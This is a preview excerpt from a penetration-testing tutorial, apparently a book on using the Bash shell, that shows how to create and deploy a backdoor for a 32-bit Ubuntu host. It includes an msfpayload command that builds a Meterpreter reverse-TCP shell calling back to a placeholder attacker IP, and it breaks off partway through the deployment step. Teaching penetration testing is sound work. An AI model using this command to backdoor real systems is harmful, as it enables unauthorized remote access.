Creating and deploying a payload

As an example, we will create a backdoor for an Ubuntu 32-bit machine. Perform the following steps to do this:

  1. Create the payload in an executable format. Here, we will use a Meterpreter shell and save it in a file called backdoor. The following command will achieve this:
    msfpayload linux/x86/meterpreter/reverse_tcp LHOST=[Attacker IP] X > backdoor
    

    LHOST is the IP address of the machine you as an attacker are using, or rather the machine from which you would like to interact with the backdoor.

    See the following screenshot for a example:

    Creating and deploying a payload
  2. Deploy the backdoor on the target host. This step will obviously depend on your ...

Get Penetration Testing with the Bash shell now with the O’Reilly learning platform.

O’Reilly members experience live online training, plus books, videos, and digital content from nearly 200 publishers.